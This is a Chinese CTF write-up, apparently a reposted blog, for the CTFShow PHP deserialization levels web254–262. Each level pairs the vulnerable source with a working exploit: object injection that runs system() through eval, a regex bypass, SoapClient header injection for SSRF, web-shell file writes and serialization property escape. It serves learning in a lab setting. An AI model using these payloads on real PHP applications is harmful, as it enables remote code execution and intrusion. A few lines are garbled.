IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> 【CTFSHOW】web入门反序列化 -> 正文阅读

[PHP知识库]【CTFSHOW】web入门反序列化

web254

include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        if($this->username===$u&&$this->password===$p){
            $this->isVip=true;
        }
        return $this->isVip;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            echo "your flag is ".$flag;
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = new ctfShowUser();
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}

GET传参即可:

unserialize254flag

web255

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            echo "your flag is ".$flag;
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);    
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}

这次使用反序列化了,但是要对序列化后的对象中分号‘;’进行url编码。因为cookie是以;作为分隔符的,否则会导致解析错误。我们索性对序列化后的结果全部进行url半编码。

新建一个php文件执行:

<?php
class ctfShowUser{
    public $isVip=true;
}
$a = new ctfShowUser();
echo urlencode(serialize($a)); // O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

hackbar设置cookie头即可。payload如下:

unserialize255flag

web256

public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            if($this->username!==$this->password){
                    echo "your flag is ".$flag;
              }
        }else{
            echo "no vip, no flag";
        }
  }

这次添加了用户名和密码不能相同,在序列化时设置一下就好:

<?php
class ctfShowUser{
    public $username='truthahn';
    public $password='llama';
    public $isVip=true;
}

$a = new ctfShowUser();
echo urlencode(serialize($a));

payload:

unserialize256flag

web257

class ctfShowUser{
    private $username='xxxxxx';
    private $password='xxxxxx';
    private $isVip=false;
    private $class = 'info';

    public function __construct(){
        $this->class=new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}

class info{
    private $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}

class backDoor{
    private $code;
    public function getInfo(){
        eval($this->code);
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);
    $user->login($username,$password);
}

增加了后门类,直接更改class为后门类并给code变量赋值即可:

<?php
class ctfShowUser{
    private $username='xxxxxx';
    private $password='xxxxxx';
    private $class = 'info';

    public function __construct(){
        $this->class=new backDoor();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}

class backDoor{
    private $code="system('tac f*');";
    public function getInfo(){
        eval($this->code);
    }
}

echo urlencode(serialize(new ctfShowUser()));

payload:

unserialize257flag

web258

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;
    public $class = 'info';

    public function __construct(){
        $this->class=new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}

class info{
    public $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}

class backDoor{
    public $code;
    public function getInfo(){
        eval($this->code);
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
        $user = unserialize($_COOKIE['user']);
    }
    $user->login($username,$password);
}

在反序列化之前进行了正则匹配,规则如下:

unserialize258regular

要求不能出现O/C:数字的形式,我们可以将序列化中的类似形式更改为O/C:+数字的形式来绕过过滤:

O:11:"ctfShowUser":3:{s:8:"username";s:6:"xxxxxx";s:8:"password";s:6:"xxxxxx";s:5:"class";O:8:"backDoor":1:{s:4:"code";s:17:"system('tac f*');";}}

发现有两处:“O:11"和"O:8”。

<?php
class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $class = 'info';

    public function __construct(){
        $this->class=new backDoor();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}

class backDoor{
    public $code="system('tac f*');";
    public function getInfo(){
        eval($this->code);
    }
}

$a = serialize(new ctfShowUser());
$b = str_replace('O:11','O:+11',$a); // 对匹配的形式进行替换,在数字前增加加号
$c = str_replace('O:8','O:+8',$b);
echo urlencode($c); // O%3A%2B11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22class%22%3BO%3A%2B8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A17%3A%22system%28%27tac+f%2A%27%29%3B%22%3B%7D%7D

至于为什么添加加号可以正常序列化,php处理反序列化的函数的c源码可以解释:

unserialize258c

payload:

unserialize258flag

web259

源码:

$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();

要访问的flag.php:

$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);


if($ip!=='127.0.0.1'){
	die('error');
}else{
	$token = $_POST['token'];
	if($token=='ctfshow'){
		file_put_contents('flag.txt',$flag);
	}
}

这题的思路:反序列化原生类+SSRF。

根据php的机制,当调用未定义的方法时,会调用类的call方法。

flag.php逻辑是,对请求头中的X-Forwarded-For进行两次pop,所以我们需要构造的结构为:

X-Forwarded-For:127.0.0.1,127.0.0.1,127.0.0.1

同时需要POST传入token,其值为ctfshow。

我们可以使用SoapClient原生类,该类的构造函数如下:

public SoapClient :: SoapClient (mixed $wsdl [array $options ]

可以从UA下手,通过换行符进行请求头注入。使用nc.exe来监听端口并进行调试,确保构造正确。这里我们选择的是9999端口:

新建php文件web259.php:

<?php
$ua = "llama\r\nX-Forwarded-For:127.0.0.1,127.0.0.1,127.0.0.1\r\nContent-Type:application/x-www-form-urlencoded\r\nContent-Length:13\r\n\r\ntoken=ctfshow";

$client = new SoapClient(null,array('uri'=>'http://127.0.0.1:9999/','location'=>'http://127.0.0.1:9999/flag.php','user_agent'=>$ua));

$client->getFlag();

注意,php需要开启soap服务,本人使用的是php7.3.4,需要修改php.ini文件:

unserialize259soap7

将extension=soap之前的注释符号去掉即可(如果是php5,则需找到extension=php_soap.dll)。

打开nc.exe所在cmd,执行:

.\nc.exe -lvp 9999

打开www服务,访问web259.php:

unserialize259soap调试

监听情况:

unserialize259soap表单注入

这样请求包就构造好了。

现在我们生成payload:

// token=ctfshow
$ua = "llama\r\nX-Forwarded-For:127.0.0.1,127.0.0.1,127.0.0.1\r\nContent-Type:application/x-www-form-urlencoded\r\nContent-Length:13\r\n\r\ntoken=ctfshow";

//$client = new SoapClient(null,array('uri'=>'http://127.0.0.1:9999/','location'=>'http://127.0.0.1:9999/flag.php','user_agent'=>$ua));

$client = new SoapClient(null,array('uri'=>'http://127.0.0.1/','location'=>'http://127.0.0.1/flag.php','user_agent'=>$ua));

//$client->getFlag();

echo urlencode(serialize($client)); // O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A17%3A%22http%3A%2F%2F127.0.0.1%2F%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A136%3A%22llama%0D%0AX-Forwarded-For%3A127.0.0.1%2C127.0.0.1%2C127.0.0.1%0D%0AContent-Type%3Aapplication%2Fx-www-form-urlencoded%0D%0AContent-Length%3A13%0D%0A%0D%0Atoken%3Dctfshow%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D

payload:

unserialize259payload

报错我们不管它,访问flag.txt即可得到flag:

unserialize259flag

web260

if(preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))){
    echo $flag;
}

字符串序列化后不变。

payload:

?ctfshow=ctfshow_i_love_36D

web261

class ctfshowvip{
    public $username;
    public $password;
    public $code;

    public function __construct($u,$p){
        $this->username=$u;
        $this->password=$p;
    }
    public function __wakeup(){
        if($this->username!='' || $this->password!=''){
            die('error');
        }
    }
    public function __invoke(){
        eval($this->code);
    }

    public function __sleep(){
        $this->username='';
        $this->password='';
    }
    public function __unserialize($data){
        $this->username=$data['username'];
        $this->password=$data['password'];
        $this->code = $this->username.$this->password;
    }
    public function __destruct(){
        if($this->code==0x36d){
            file_put_contents($this->username, $this->password);
        }
    }
}

unserialize($_GET['vip']);

TIPS:

在这里插入图片描述
在这里插入图片描述

所以,我们就看__destruct()方法,发现弱等于:

if($this->code==0x36d){

0x36d十进制为877,所以我们只要以877开头即可。下一句是对文件名为 t h i s ? > u s e r n a m e 的 文 件 写 入 this->username的文件写入 this?>usernamethis->password的内容。

我们可以这样构造序列化:

<?php
class ctfshowvip{
    public $username='877b.php'; // 设置文件名为877b.php
    public $password="<?=system('tac /flag*');"; // 设置内容
}

$a = new ctfshowvip();
echo serialize($a); // O:10:"ctfshowvip":2:{s:8:"username";s:8:"877b.php";s:8:"password";s:24:"<?=system('tac /flag*');";}

payload:

?vip=O:10:"ctfshowvip":2:{s:8:"username";s:8:"877b.php";s:8:"password";s:24:"<?=system('tac /flag*');";}

访问877b.php即可得到flag:

unserialize261flag

**PS:**序列化中的魔法函数(具体的可参照官网:php魔术方法):

__invoke() 当尝试以调用函数的方式调用一个对象时,会被自动调用
__serialize() 序列化过程中,如果存在,该方法将在任何序列化之前优先执行
__unserialize() 反序列化过程中,如果存在,此函数将传递从__serialize()返回的恢复数组
__construct() 创建对象时调用
__destruct() 销毁对象时调用
__toString() 当一个对象被当作一个字符串使用
__sleep() 在对象在被序列化之前运行
__wakeup() 在序列化之后立即被调用
__call() 在对象中调用一个不可访问方法时,__call() 会被调用。

web262

class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];

if(isset($f) && isset($m) && isset($t)){
    $msg = new message($f,$m,$t);
    $umsg = str_replace('fuck', 'loveU', serialize($msg));
    setcookie('msg',base64_encode($umsg));
    echo 'Your message has been sent';
}

这题考察的是反序列化逃逸,强烈推荐看一遍群主的视频讲解。这里的

$umsg = str_replace('fuck', 'loveU', serialize($msg));

使序列化后的属性值长度增加,我们可以进行污染。

题目index.php头部有个小提示:

unserialize262message

访问message.php:

include('flag.php');

class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

if(isset($_COOKIE['msg'])){
    $msg = unserialize(base64_decode($_COOKIE['msg']));
    if($msg->token=='admin'){
        echo $flag;
    }
}

这里执行了反序列化,可以看到token要设置成admin才行

使用预期解:

个人调试过程:

ini_set('display_errors','On');

class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}
$a = new message($f='1',$m='1',$t='fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}');
// $t= fuck*25+";s:5:"token";s:5:"admin";}(长度:4*27+27)
// $t设置成这样的目的是覆盖最后的:";s:5:"token";s:4:"user";}') ,来实现逃逸/污染

echo str_repeat('fuck',27);
echo "<br>";
echo serialize($a);

echo "<br>";
echo "<br>";
$fil = str_replace('fuck','loveU',serialize($a));
echo $fil;

$a2 = unserialize($fil); // 更改属性token为admin
echo "<br>";
echo $a2->token;
echo "<br>";
var_dump($a2);

可以看到token被成功设置为admin:

unserialize262token

payload:

?f=1&m=1&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

unserialize262payload

访问message.php即可得到flag:

unserialize262flag

web263

明天继续,持续更新

参考视频

B站BV号:BV1D64y1m78f

参考博客

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2021-07-27 15:59:34  更:2021-07-27 16:01:10 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年5日历 -2024/5/2 23:44:43-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码